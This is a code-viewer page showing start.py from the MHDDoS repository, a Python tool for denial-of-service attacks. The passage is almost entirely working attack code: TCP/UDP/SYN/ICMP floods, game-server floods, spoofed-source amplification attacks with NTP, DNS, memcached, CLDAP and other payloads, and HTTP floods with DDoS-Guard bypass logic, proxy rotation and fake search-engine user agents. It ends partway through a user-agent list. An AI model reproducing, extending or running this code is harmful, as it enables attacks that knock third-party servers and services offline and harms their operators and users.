Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
MatrixTM
GitHub Repository: MatrixTM/MHDDoS
Path: blob/main/start.py
561 views
1
#!/usr/bin/env python3
2
3
from concurrent.futures import ThreadPoolExecutor, as_completed
4
from contextlib import suppress
5
from itertools import cycle
6
from json import load
7
from logging import basicConfig, getLogger, shutdown
8
from math import log2, trunc
9
from multiprocessing import RawValue
10
from os import urandom as randbytes
11
from pathlib import Path
12
from re import compile
13
from random import choice as randchoice, randint
14
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, IPPROTO_ICMP,
15
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
16
gethostname, socket)
17
from ssl import CERT_NONE, SSLContext, create_default_context
18
import ssl
19
from struct import pack as data_pack
20
from subprocess import run, PIPE
21
from sys import argv
22
from sys import exit as _exit
23
from threading import Event, Thread
24
from time import sleep, time
25
from typing import Any, List, Set, Tuple
26
from urllib import parse
27
from uuid import UUID, uuid4
28
29
from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
30
from PyRoxy import Tools as ProxyTools
31
from certifi import where
32
from cloudscraper import create_scraper
33
from dns import resolver
34
from icmplib import ping
35
from impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP
36
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
37
from requests import Response, Session, exceptions, get, cookies
38
from yarl import URL
39
from base64 import b64encode
40
41
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
42
datefmt="%H:%M:%S")
43
logger = getLogger("MHDDoS")
44
logger.setLevel("INFO")
45
ctx: SSLContext = create_default_context(cafile=where())
46
ctx.check_hostname = False
47
ctx.verify_mode = CERT_NONE
48
# Enforce only TLSv1.2+ (defense-in-depth: also disable older protocols explicitly)
49
if hasattr(ctx, "minimum_version") and hasattr(ssl, "TLSVersion"):
50
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
51
# Disable insecure TLS versions for additional safety
52
if hasattr(ssl, "OP_NO_TLSv1"):
53
ctx.options |= ssl.OP_NO_TLSv1
54
if hasattr(ssl, "OP_NO_TLSv1_1"):
55
ctx.options |= ssl.OP_NO_TLSv1_1
56
57
__version__: str = "2.4 SNAPSHOT"
58
__dir__: Path = Path(__file__).parent
59
__ip__: Any = None
60
tor2webs = [
61
'onion.city',
62
'onion.cab',
63
'onion.direct',
64
'onion.sh',
65
'onion.link',
66
'onion.ws',
67
'onion.pet',
68
'onion.rip',
69
'onion.plus',
70
'onion.top',
71
'onion.si',
72
'onion.ly',
73
'onion.my',
74
'onion.sh',
75
'onion.lu',
76
'onion.casa',
77
'onion.com.de',
78
'onion.foundation',
79
'onion.rodeo',
80
'onion.lat',
81
'tor2web.org',
82
'tor2web.fi',
83
'tor2web.blutmagie.de',
84
'tor2web.to',
85
'tor2web.io',
86
'tor2web.in',
87
'tor2web.it',
88
'tor2web.xyz',
89
'tor2web.su',
90
'darknet.to',
91
's1.tor-gateways.de',
92
's2.tor-gateways.de',
93
's3.tor-gateways.de',
94
's4.tor-gateways.de',
95
's5.tor-gateways.de'
96
]
97
98
with open(__dir__ / "config.json") as f:
99
con = load(f)
100
101
with socket(AF_INET, SOCK_DGRAM) as s:
102
s.connect(("8.8.8.8", 80))
103
__ip__ = s.getsockname()[0]
104
105
106
class bcolors:
107
HEADER = '\033[95m'
108
OKBLUE = '\033[94m'
109
OKCYAN = '\033[96m'
110
OKGREEN = '\033[92m'
111
WARNING = '\033[93m'
112
FAIL = '\033[91m'
113
RESET = '\033[0m'
114
BOLD = '\033[1m'
115
UNDERLINE = '\033[4m'
116
117
118
def exit(*message):
119
if message:
120
logger.error(bcolors.FAIL + " ".join(message) + bcolors.RESET)
121
shutdown()
122
_exit(1)
123
124
125
class Methods:
126
LAYER7_METHODS: Set[str] = {
127
"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
128
"NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
129
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER", "TOR", "RHEX", "STOMP"
130
}
131
132
LAYER4_AMP: Set[str] = {
133
"MEM", "NTP", "DNS", "ARD",
134
"CLDAP", "CHAR", "RDP"
135
}
136
137
LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
138
"TCP", "UDP", "SYN", "VSE", "MINECRAFT",
139
"MCBOT", "CONNECTION", "CPS", "FIVEM", "FIVEM-TOKEN",
140
"TS3", "MCPE", "ICMP", "OVH-UDP",
141
}
142
143
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
144
145
146
search_engine_agents = [
147
# ---------------- Google ----------------
148
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
149
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)",
150
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; "
151
"+http://www.google.com/bot.html) Chrome/103.0.5060.134 Safari/537.36",
152
"Googlebot-Image/1.0",
153
"Googlebot-Video/1.0",
154
"Googlebot-News",
155
"AdsBot-Google (+http://www.google.com/adsbot.html)",
156
"AdsBot-Google-Mobile-Apps",
157
"AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html)",
158
"Mediapartners-Google",
159
"FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)",
160
161
# ---------------- Bing / Microsoft ----------------
162
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
163
"BingPreview/1.0b",
164
"AdIdxBot/2.0 (+http://www.bing.com/bingbot.htm)",
165
166
# ---------------- Yahoo ----------------
167
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
168
"Yahoo! Slurp China",
169
170
# ---------------- Yandex ----------------
171
"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)",
172
"YandexMobileBot/3.0 (+http://yandex.com/bots)",
173
"YandexImages/3.0 (+http://yandex.com/bots)",
174
"YandexVideo/3.0 (+http://yandex.com/bots)",
175
"YandexNews/3.0 (+http://yandex.com/bots)",
176
177
# ---------------- Baidu ----------------
178
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
179
"Baiduspider-image (+http://www.baidu.com/search/spider.html)",
180
"Baiduspider-video (+http://www.baidu.com/search/spider.html)",
181
182
# ---------------- DuckDuckGo ----------------
183
"DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)",
184
"DuckDuckBot/2.0; (+http://duckduckgo.com/duckduckbot.html)",
185
186
# ---------------- Applebot ----------------
187
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
188
"(KHTML, like Gecko) Version/14.0 Safari/605.1.15 (Applebot/0.1; "
189
"+http://www.apple.com/go/applebot)",
190
191
# ---------------- Facebook / Social ----------------
192
"facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)",
193
"Facebot/1.0",
194
195
# ---------------- Twitter ----------------
196
"Twitterbot/1.0",
197
198
# ---------------- LinkedIn ----------------
199
"LinkedInBot/1.0 (+https://www.linkedin.com/)",
200
201
# ---------------- Pinterest ----------------
202
"Pinterest/0.2 (+http://www.pinterest.com/bot.html)",
203
204
# ---------------- Other Major Bots ----------------
205
"Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
206
"SemrushBot/7~bl (+http://www.semrush.com/bot.html)",
207
"MJ12bot/v1.4.8 (http://mj12bot.com/)",
208
"Sogou web spider/4.0 (+http://www.sogou.com/docs/help/webmasters.htm#07)",
209
"Exabot/3.0 (+http://www.exabot.com/go/robot)",
210
"SeznamBot/3.2 (http://napoveda.seznam.cz/seznambot-intro/)",
211
"CCBot/2.0 (+http://commoncrawl.org/faq/)",
212
"DotBot/1.1 (+http://www.opensiteexplorer.org/dotbot, [email protected])"
213
]
214
215
216
class Counter:
217
def __init__(self, value=0):
218
self._value = RawValue('i', value)
219
220
def __iadd__(self, value):
221
self._value.value += value
222
return self
223
224
def __int__(self):
225
return self._value.value
226
227
def set(self, value):
228
self._value.value = value
229
return self
230
231
232
REQUESTS_SENT = Counter()
233
BYTES_SEND = Counter()
234
235
236
class Tools:
237
IP = compile("(?:\\d{1,3}\\.){3}\\d{1,3}")
238
protocolRex = compile('"protocol":(\\d+)')
239
240
@staticmethod
241
def humanbytes(i: int, binary: bool = False, precision: int = 2):
242
MULTIPLES = [
243
"B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"
244
]
245
if i > 0:
246
base = 1024 if binary else 1000
247
multiple = trunc(log2(i) / log2(base))
248
value = i / pow(base, multiple)
249
suffix = MULTIPLES[multiple].format("i" if binary else "")
250
return f"{value:.{precision}f} {suffix}"
251
else:
252
return "-- B"
253
254
@staticmethod
255
def humanformat(num: int, precision: int = 2):
256
suffixes = ['', 'k', 'm', 'g', 't', 'p']
257
if num > 999:
258
obje = sum(
259
[abs(num / 1000.0 ** x) >= 1 for x in range(1, len(suffixes))])
260
return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}'
261
else:
262
return num
263
264
@staticmethod
265
def sizeOfRequest(res: Response) -> int:
266
size: int = len(res.request.method)
267
size += len(res.request.url)
268
size += len('\r\n'.join(f'{key}: {value}'
269
for key, value in res.request.headers.items()))
270
return size
271
272
@staticmethod
273
def send(sock: socket, packet: bytes):
274
global BYTES_SEND, REQUESTS_SENT
275
if not sock.send(packet):
276
return False
277
BYTES_SEND += len(packet)
278
REQUESTS_SENT += 1
279
return True
280
281
@staticmethod
282
def sendto(sock, packet, target):
283
global BYTES_SEND, REQUESTS_SENT
284
if not sock.sendto(packet, target):
285
return False
286
BYTES_SEND += len(packet)
287
REQUESTS_SENT += 1
288
return True
289
290
@staticmethod
291
def dgb_solver(url, ua, pro=None):
292
s = None
293
idss = None
294
with Session() as s:
295
if pro:
296
s.proxies = pro
297
hdrs = {
298
"User-Agent": ua,
299
"Accept": "text/html",
300
"Accept-Language": "en-US",
301
"Connection": "keep-alive",
302
"Sec-Fetch-Dest": "document",
303
"Sec-Fetch-Mode": "navigate",
304
"Sec-Fetch-Site": "none",
305
"Sec-Fetch-User": "?1",
306
"TE": "trailers",
307
"DNT": "1"
308
}
309
with s.get(url, headers=hdrs) as ss:
310
for key, value in ss.cookies.items():
311
s.cookies.set_cookie(cookies.create_cookie(key, value))
312
hdrs = {
313
"User-Agent": ua,
314
"Accept": "*/*",
315
"Accept-Language": "en-US,en;q=0.5",
316
"Accept-Encoding": "gzip, deflate",
317
"Referer": url,
318
"Sec-Fetch-Dest": "script",
319
"Sec-Fetch-Mode": "no-cors",
320
"Sec-Fetch-Site": "cross-site"
321
}
322
with s.post("https://check.ddos-guard.net/check.js", headers=hdrs) as ss:
323
for key, value in ss.cookies.items():
324
if key == '__ddg2':
325
idss = value
326
s.cookies.set_cookie(cookies.create_cookie(key, value))
327
328
hdrs = {
329
"User-Agent": ua,
330
"Accept": "image/webp,*/*",
331
"Accept-Language": "en-US,en;q=0.5",
332
"Accept-Encoding": "gzip, deflate",
333
"Cache-Control": "no-cache",
334
"Referer": url,
335
"Sec-Fetch-Dest": "script",
336
"Sec-Fetch-Mode": "no-cors",
337
"Sec-Fetch-Site": "cross-site"
338
}
339
with s.get(f"{url}.well-known/ddos-guard/id/{idss}", headers=hdrs) as ss:
340
for key, value in ss.cookies.items():
341
s.cookies.set_cookie(cookies.create_cookie(key, value))
342
return s
343
344
return False
345
346
@staticmethod
347
def safe_close(sock=None):
348
if sock:
349
sock.close()
350
351
352
class Minecraft:
353
@staticmethod
354
def varint(d: int) -> bytes:
355
o = b''
356
while True:
357
b = d & 0x7F
358
d >>= 7
359
o += data_pack("B", b | (0x80 if d > 0 else 0))
360
if d == 0:
361
break
362
return o
363
364
@staticmethod
365
def data(*payload: bytes) -> bytes:
366
payload = b''.join(payload)
367
return Minecraft.varint(len(payload)) + payload
368
369
@staticmethod
370
def short(integer: int) -> bytes:
371
return data_pack('>H', integer)
372
373
@staticmethod
374
def long(integer: int) -> bytes:
375
return data_pack('>q', integer)
376
377
@staticmethod
378
def handshake(target: Tuple[str, int], version: int, state: int) -> bytes:
379
return Minecraft.data(Minecraft.varint(0x00),
380
Minecraft.varint(version),
381
Minecraft.data(target[0].encode()),
382
Minecraft.short(target[1]),
383
Minecraft.varint(state))
384
385
@staticmethod
386
def handshake_forwarded(target: Tuple[str, int], version: int, state: int, ip: str, uuid: UUID) -> bytes:
387
return Minecraft.data(Minecraft.varint(0x00),
388
Minecraft.varint(version),
389
Minecraft.data(
390
target[0].encode(),
391
b"\x00",
392
ip.encode(),
393
b"\x00",
394
uuid.hex.encode()
395
),
396
Minecraft.short(target[1]),
397
Minecraft.varint(state))
398
399
@staticmethod
400
def login(protocol: int, username: str) -> bytes:
401
if isinstance(username, str):
402
username = username.encode()
403
return Minecraft.data(Minecraft.varint(0x00 if protocol >= 391 else \
404
0x01 if protocol >= 385 else \
405
0x00),
406
Minecraft.data(username))
407
408
@staticmethod
409
def keepalive(protocol: int, num_id: int) -> bytes:
410
return Minecraft.data(Minecraft.varint(0x0F if protocol >= 755 else \
411
0x10 if protocol >= 712 else \
412
0x0F if protocol >= 471 else \
413
0x10 if protocol >= 464 else \
414
0x0E if protocol >= 389 else \
415
0x0C if protocol >= 386 else \
416
0x0B if protocol >= 345 else \
417
0x0A if protocol >= 343 else \
418
0x0B if protocol >= 336 else \
419
0x0C if protocol >= 318 else \
420
0x0B if protocol >= 107 else \
421
0x00),
422
Minecraft.long(num_id) if protocol >= 339 else \
423
Minecraft.varint(num_id))
424
425
@staticmethod
426
def chat(protocol: int, message: str) -> bytes:
427
return Minecraft.data(Minecraft.varint(0x03 if protocol >= 755 else \
428
0x03 if protocol >= 464 else \
429
0x02 if protocol >= 389 else \
430
0x01 if protocol >= 343 else \
431
0x02 if protocol >= 336 else \
432
0x03 if protocol >= 318 else \
433
0x02 if protocol >= 107 else \
434
0x01),
435
Minecraft.data(message.encode()))
436
437
438
# noinspection PyBroadException,PyUnusedLocal
439
class Layer4(Thread):
440
_method: str
441
_target: Tuple[str, int]
442
_ref: Any
443
SENT_FLOOD: Any
444
_amp_payloads = cycle
445
_proxies: List[Proxy] = None
446
447
def __init__(self,
448
target: Tuple[str, int],
449
ref: List[str] = None,
450
method: str = "TCP",
451
synevent: Event = None,
452
proxies: Set[Proxy] = None,
453
protocolid: int = 74):
454
Thread.__init__(self, daemon=True)
455
self._amp_payload = None
456
self._amp_payloads = cycle([])
457
self._ref = ref
458
self.protocolid = protocolid
459
self._method = method
460
self._target = target
461
self._synevent = synevent
462
if proxies:
463
self._proxies = list(proxies)
464
465
self.methods = {
466
"UDP": self.UDP,
467
"SYN": self.SYN,
468
"VSE": self.VSE,
469
"TS3": self.TS3,
470
"MCPE": self.MCPE,
471
"FIVEM": self.FIVEM,
472
"FIVEM-TOKEN": self.FIVEMTOKEN,
473
"OVH-UDP": self.OVHUDP,
474
"MINECRAFT": self.MINECRAFT,
475
"CPS": self.CPS,
476
"CONNECTION": self.CONNECTION,
477
"MCBOT": self.MCBOT,
478
}
479
480
def run(self) -> None:
481
if self._synevent: self._synevent.wait()
482
self.select(self._method)
483
while self._synevent.is_set():
484
self.SENT_FLOOD()
485
486
def open_connection(self,
487
conn_type=AF_INET,
488
sock_type=SOCK_STREAM,
489
proto_type=IPPROTO_TCP):
490
if self._proxies:
491
s = randchoice(self._proxies).open_socket(
492
conn_type, sock_type, proto_type)
493
else:
494
s = socket(conn_type, sock_type, proto_type)
495
s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
496
s.settimeout(.9)
497
s.connect(self._target)
498
return s
499
500
def TCP(self) -> None:
501
s = None
502
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
503
while Tools.send(s, randbytes(1024)):
504
continue
505
Tools.safe_close(s)
506
507
def MINECRAFT(self) -> None:
508
handshake = Minecraft.handshake(self._target, self.protocolid, 1)
509
ping = Minecraft.data(b'\x00')
510
511
s = None
512
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
513
while Tools.send(s, handshake):
514
Tools.send(s, ping)
515
Tools.safe_close(s)
516
517
def CPS(self) -> None:
518
global REQUESTS_SENT
519
s = None
520
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
521
REQUESTS_SENT += 1
522
Tools.safe_close(s)
523
524
def alive_connection(self) -> None:
525
s = None
526
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
527
while s.recv(1):
528
continue
529
Tools.safe_close(s)
530
531
def CONNECTION(self) -> None:
532
global REQUESTS_SENT
533
with suppress(Exception):
534
Thread(target=self.alive_connection).start()
535
REQUESTS_SENT += 1
536
537
def UDP(self) -> None:
538
s = None
539
with suppress(Exception), socket(AF_INET, SOCK_DGRAM) as s:
540
while Tools.sendto(s, randbytes(1024), self._target):
541
continue
542
Tools.safe_close(s)
543
544
def OVHUDP(self) -> None:
545
with socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s:
546
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
547
while True:
548
for payload in self._generate_ovhudp():
549
Tools.sendto(s, payload, self._target)
550
Tools.safe_close(s)
551
552
def ICMP(self) -> None:
553
payload = self._genrate_icmp()
554
s = None
555
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) as s:
556
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
557
while Tools.sendto(s, payload, self._target):
558
continue
559
Tools.safe_close(s)
560
561
def SYN(self) -> None:
562
s = None
563
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:
564
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
565
while Tools.sendto(s, self._genrate_syn(), self._target):
566
continue
567
Tools.safe_close(s)
568
569
def AMP(self) -> None:
570
s = None
571
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s:
572
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
573
while Tools.sendto(s, *next(self._amp_payloads)):
574
continue
575
Tools.safe_close(s)
576
577
def MCBOT(self) -> None:
578
s = None
579
580
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
581
Tools.send(s, Minecraft.handshake_forwarded(self._target,
582
self.protocolid,
583
2,
584
ProxyTools.Random.rand_ipv4(),
585
uuid4()))
586
username = f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}"
587
password = b64encode(username.encode()).decode()[:8].title()
588
Tools.send(s, Minecraft.login(self.protocolid, username))
589
590
sleep(1.5)
591
592
Tools.send(s, Minecraft.chat(self.protocolid, "/register %s %s" % (password, password)))
593
Tools.send(s, Minecraft.chat(self.protocolid, "/login %s" % password))
594
595
while Tools.send(s, Minecraft.chat(self.protocolid, str(ProxyTools.Random.rand_str(256)))):
596
sleep(1.1)
597
598
Tools.safe_close(s)
599
600
def VSE(self) -> None:
601
global BYTES_SEND, REQUESTS_SENT
602
payload = (b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
603
b'\x20\x51\x75\x65\x72\x79\x00')
604
with socket(AF_INET, SOCK_DGRAM) as s:
605
while Tools.sendto(s, payload, self._target):
606
continue
607
Tools.safe_close(s)
608
609
def FIVEMTOKEN(self) -> None:
610
global BYTES_SEND, REQUESTS_SENT
611
612
# Generete token and guid
613
token = str(uuid4())
614
steamid_min = 76561197960265728
615
steamid_max = 76561199999999999
616
guid = str(randint(steamid_min, steamid_max))
617
618
# Build Payload
619
payload_str = f"token={token}&guid={guid}"
620
payload = payload_str.encode('utf-8')
621
622
with socket(AF_INET, SOCK_DGRAM) as s:
623
while Tools.sendto(s, payload, self._target):
624
continue
625
Tools.safe_close(s)
626
627
def FIVEM(self) -> None:
628
global BYTES_SEND, REQUESTS_SENT
629
payload = b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00'
630
with socket(AF_INET, SOCK_DGRAM) as s:
631
while Tools.sendto(s, payload, self._target):
632
continue
633
Tools.safe_close(s)
634
635
def TS3(self) -> None:
636
global BYTES_SEND, REQUESTS_SENT
637
payload = b'\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02'
638
with socket(AF_INET, SOCK_DGRAM) as s:
639
while Tools.sendto(s, payload, self._target):
640
continue
641
Tools.safe_close(s)
642
643
def MCPE(self) -> None:
644
global BYTES_SEND, REQUESTS_SENT
645
payload = (b'\x61\x74\x6f\x6d\x20\x64\x61\x74\x61\x20\x6f\x6e\x74\x6f\x70\x20\x6d\x79\x20\x6f'
646
b'\x77\x6e\x20\x61\x73\x73\x20\x61\x6d\x70\x2f\x74\x72\x69\x70\x68\x65\x6e\x74\x20'
647
b'\x69\x73\x20\x6d\x79\x20\x64\x69\x63\x6b\x20\x61\x6e\x64\x20\x62\x61\x6c\x6c'
648
b'\x73')
649
with socket(AF_INET, SOCK_DGRAM) as s:
650
while Tools.sendto(s, payload, self._target):
651
continue
652
Tools.safe_close(s)
653
654
def _generate_ovhudp(self) -> List[bytes]:
655
packets = []
656
657
methods = ["PGET", "POST", "HEAD", "OPTIONS", "PURGE"]
658
paths = ['/0/0/0/0/0/0', '/0/0/0/0/0/0/', '\\0\\0\\0\\0\\0\\0', '\\0\\0\\0\\0\\0\\0\\', '/', '/null', '/%00%00%00%00']
659
660
for _ in range(randint(2, 4)):
661
ip = IP()
662
ip.set_ip_src(__ip__)
663
ip.set_ip_dst(self._target[0])
664
665
udp = UDP()
666
udp.set_uh_sport(randint(1024, 65535))
667
udp.set_uh_dport(self._target[1])
668
669
payload_size = randint(1024, 2048)
670
random_part = randbytes(payload_size).decode("latin1", "ignore")
671
672
method = randchoice(methods)
673
path = randchoice(paths)
674
675
payload_str = (
676
f"{method} {path}{random_part} HTTP/1.1\n"
677
f"Host: {self._target[0]}:{self._target[1]}\r\n\r\n"
678
)
679
680
payload = payload_str.encode("latin1", "ignore")
681
682
udp.contains(Data(payload))
683
ip.contains(udp)
684
685
packets.append(ip.get_packet())
686
687
return packets
688
689
def _genrate_syn(self) -> bytes:
690
ip: IP = IP()
691
ip.set_ip_src(__ip__)
692
ip.set_ip_dst(self._target[0])
693
tcp: TCP = TCP()
694
tcp.set_SYN()
695
tcp.set_th_flags(0x02)
696
tcp.set_th_dport(self._target[1])
697
tcp.set_th_sport(ProxyTools.Random.rand_int(32768, 65535))
698
ip.contains(tcp)
699
return ip.get_packet()
700
701
def _genrate_icmp(self) -> bytes:
702
ip: IP = IP()
703
ip.set_ip_src(__ip__)
704
ip.set_ip_dst(self._target[0])
705
icmp: ICMP = ICMP()
706
icmp.set_icmp_type(icmp.ICMP_ECHO)
707
icmp.contains(Data(b"A" * ProxyTools.Random.rand_int(16, 1024)))
708
ip.contains(icmp)
709
return ip.get_packet()
710
711
def _generate_amp(self):
712
payloads = []
713
for ref in self._ref:
714
ip: IP = IP()
715
ip.set_ip_src(self._target[0])
716
ip.set_ip_dst(ref)
717
718
ud: UDP = UDP()
719
ud.set_uh_dport(self._amp_payload[1])
720
ud.set_uh_sport(self._target[1])
721
722
ud.contains(Data(self._amp_payload[0]))
723
ip.contains(ud)
724
725
payloads.append((ip.get_packet(), (ref, self._amp_payload[1])))
726
return payloads
727
728
def select(self, name):
729
self.SENT_FLOOD = self.TCP
730
for key, value in self.methods.items():
731
if name == key:
732
self.SENT_FLOOD = value
733
elif name == "ICMP":
734
self.SENT_FLOOD = self.ICMP
735
self._target = (self._target[0], 0)
736
elif name == "RDP":
737
self._amp_payload = (
738
b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
739
3389)
740
self.SENT_FLOOD = self.AMP
741
self._amp_payloads = cycle(self._generate_amp())
742
elif name == "CLDAP":
743
self._amp_payload = (
744
b'\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00'
745
b'\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00',
746
389)
747
self.SENT_FLOOD = self.AMP
748
self._amp_payloads = cycle(self._generate_amp())
749
elif name == "MEM":
750
self._amp_payload = (
751
b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211)
752
self.SENT_FLOOD = self.AMP
753
self._amp_payloads = cycle(self._generate_amp())
754
elif name == "CHAR":
755
self._amp_payload = (b'\x01', 19)
756
self.SENT_FLOOD = self.AMP
757
self._amp_payloads = cycle(self._generate_amp())
758
elif name == "ARD":
759
self._amp_payload = (b'\x00\x14\x00\x00', 3283)
760
self.SENT_FLOOD = self.AMP
761
self._amp_payloads = cycle(self._generate_amp())
762
elif name == "NTP":
763
self._amp_payload = (b'\x17\x00\x03\x2a\x00\x00\x00\x00', 123)
764
self.SENT_FLOOD = self.AMP
765
self._amp_payloads = cycle(self._generate_amp())
766
elif name == "DNS":
767
self._amp_payload = (
768
b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00'
769
b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00',
770
53)
771
self.SENT_FLOOD = self.AMP
772
self._amp_payloads = cycle(self._generate_amp())
773
774
775
# noinspection PyBroadException,PyUnusedLocal
776
class HttpFlood(Thread):
777
_proxies: List[Proxy] = None
778
_payload: str
779
_defaultpayload: Any
780
_req_type: str
781
_useragents: List[str]
782
_referers: List[str]
783
_target: URL
784
_method: str
785
_rpc: int
786
_synevent: Any
787
SENT_FLOOD: Any
788
789
def __init__(self,
790
thread_id: int,
791
target: URL,
792
host: str,
793
method: str = "GET",
794
rpc: int = 1,
795
synevent: Event = None,
796
useragents: Set[str] = None,
797
referers: Set[str] = None,
798
proxies: Set[Proxy] = None) -> None:
799
Thread.__init__(self, daemon=True)
800
self.SENT_FLOOD = None
801
self._thread_id = thread_id
802
self._synevent = synevent
803
self._rpc = rpc
804
self._method = method
805
self._target = target
806
self._host = host
807
self._raw_target = (self._host, (self._target.port or 80))
808
809
if not self._target.host[len(self._target.host) - 1].isdigit():
810
self._raw_target = (self._host, (self._target.port or 80))
811
812
self.methods = {
813
"POST": self.POST,
814
"CFB": self.CFB,
815
"CFBUAM": self.CFBUAM,
816
"XMLRPC": self.XMLRPC,
817
"BOT": self.BOT,
818
"APACHE": self.APACHE,
819
"BYPASS": self.BYPASS,
820
"DGB": self.DGB,
821
"OVH": self.OVH,
822
"AVB": self.AVB,
823
"STRESS": self.STRESS,
824
"DYN": self.DYN,
825
"SLOW": self.SLOW,
826
"GSB": self.GSB,
827
"RHEX": self.RHEX,
828
"STOMP": self.STOMP,
829
"NULL": self.NULL,
830
"COOKIE": self.COOKIES,
831
"TOR": self.TOR,
832
"EVEN": self.EVEN,
833
"DOWNLOADER": self.DOWNLOADER,
834
"BOMB": self.BOMB,
835
"PPS": self.PPS,
836
"KILLER": self.KILLER,
837
}
838
839
if not referers:
840
referers: List[str] = [
841
"https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
842
",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer"
843
"/sharer.php?u=",
844
",https://drive.google.com/viewerng/viewer?url=",
845
",https://www.google.com/translate?u="
846
]
847
self._referers = list(referers)
848
if proxies:
849
self._proxies = list(proxies)
850
851
if not useragents:
852
useragents: List[str] = [
853
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 ',
854
'Safari/537.36',
855
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 ',
856
'Safari/537.36',
857
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 ',
858
'Safari/537.36',
859
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0',
860
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
861
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19577',
862
'Mozilla/5.0 (X11) AppleWebKit/62.41 (KHTML, like Gecko) Edge/17.10859 Safari/452.6',
863
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931',
864
'Chrome (AppleWebKit/537.1; Chrome50.0; Windows NT 6.3) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393',
865
'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.9200',
866
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',
867
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246',
868
